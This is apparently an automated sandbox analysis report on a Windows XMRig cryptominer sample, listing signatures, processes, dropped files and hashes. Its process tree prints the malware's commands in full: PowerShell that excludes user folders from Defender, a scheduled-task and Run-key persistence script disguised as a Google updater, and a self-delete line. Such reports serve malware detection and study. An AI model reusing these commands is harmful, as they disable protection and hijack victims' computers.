Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    454s
  • max time network
    1790s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1188
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2732
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2772
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2720
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2068
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          3⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:1528
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        PID:1736
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe qtdiqnkejoz
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:404
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2984
    • C:\Windows\System32\choice.exe
      choice /C Y /N /D Y /T 3
      1⤵
        PID:2680
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {B7395D91-D187-4BCA-BDB0-75D5570E3E36} S-1-5-18:NT AUTHORITY\System:Service:
        1⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1796
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2948
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        1⤵
          PID:1960

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 289KB
              • SHA256 223d5c344db19c457f31150649286cd893564558bb6966c7e0f7a5cd38a384eb
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 139KB
              • SHA256 0fc79107a624259871e84ab2131f1500e55c62b1115321c94362d8f61b5a484e
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 cd58c2e3546a658548094a0dc04b61e5aa37ec4af62aa104ef61df15ba710a74
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 543KB
              • SHA256 1a67c4d1406b3323f08f3cab7577d470d58940329ce5bfe6bcb0a8757e7e7c4e
              • MD5 SHA1 SHA512 SSDEEP

              memory/404-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/404-77-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1400-29-0x000000013F850000-0x000000013FA61000-memory.dmp

              memory/1400-0-0x000000013F850000-0x000000013FA61000-memory.dmp

              memory/1584-49-0x00000000008D0000-0x0000000000950000-memory.dmp

              memory/1584-50-0x00000000008D0000-0x0000000000950000-memory.dmp

              memory/1584-46-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

              memory/1584-48-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

              memory/1584-47-0x00000000008D0000-0x0000000000950000-memory.dmp

              memory/1584-52-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

              memory/1584-51-0x00000000008D0000-0x0000000000950000-memory.dmp

              memory/2228-13-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2228-12-0x0000000002960000-0x00000000029E0000-memory.dmp

              memory/2228-8-0x0000000002960000-0x00000000029E0000-memory.dmp

              memory/2228-9-0x0000000002960000-0x00000000029E0000-memory.dmp

              memory/2228-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2228-10-0x0000000002960000-0x00000000029E0000-memory.dmp

              memory/2228-6-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

              memory/2228-5-0x000000001B4B0000-0x000000001B792000-memory.dmp

              memory/2228-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2496-59-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2496-54-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/2496-53-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2496-56-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/2496-58-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/2496-57-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/2496-55-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2720-40-0x0000000002B70000-0x0000000002BF0000-memory.dmp

              memory/2720-35-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2720-37-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2720-39-0x0000000002B70000-0x0000000002BF0000-memory.dmp

              memory/2720-41-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

              memory/2720-38-0x0000000002B70000-0x0000000002BF0000-memory.dmp

              memory/2720-36-0x0000000002B70000-0x0000000002BF0000-memory.dmp

              memory/2732-27-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

              memory/2732-20-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

              memory/2732-24-0x00000000029E0000-0x0000000002A60000-memory.dmp

              memory/2732-25-0x00000000029E0000-0x0000000002A60000-memory.dmp

              memory/2732-26-0x00000000029E0000-0x0000000002A60000-memory.dmp

              memory/2732-22-0x00000000029E0000-0x0000000002A60000-memory.dmp

              memory/2732-23-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

              memory/2732-21-0x00000000029A0000-0x00000000029A8000-memory.dmp

              memory/2732-19-0x000000001B540000-0x000000001B822000-memory.dmp

              memory/2948-45-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

              memory/2948-66-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

              memory/2984-68-0x00000000001C0000-0x00000000001E0000-memory.dmp

              memory/2984-70-0x0000000000290000-0x00000000002B0000-memory.dmp

              memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-69-0x0000000000250000-0x0000000000270000-memory.dmp

              memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-76-0x0000000000290000-0x00000000002B0000-memory.dmp

              memory/2984-75-0x0000000000250000-0x0000000000270000-memory.dmp

              memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-67-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-102-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-104-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-106-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-108-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-110-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-112-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-114-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2984-130-0x0000000140000000-0x00000001407F4000-memory.dmp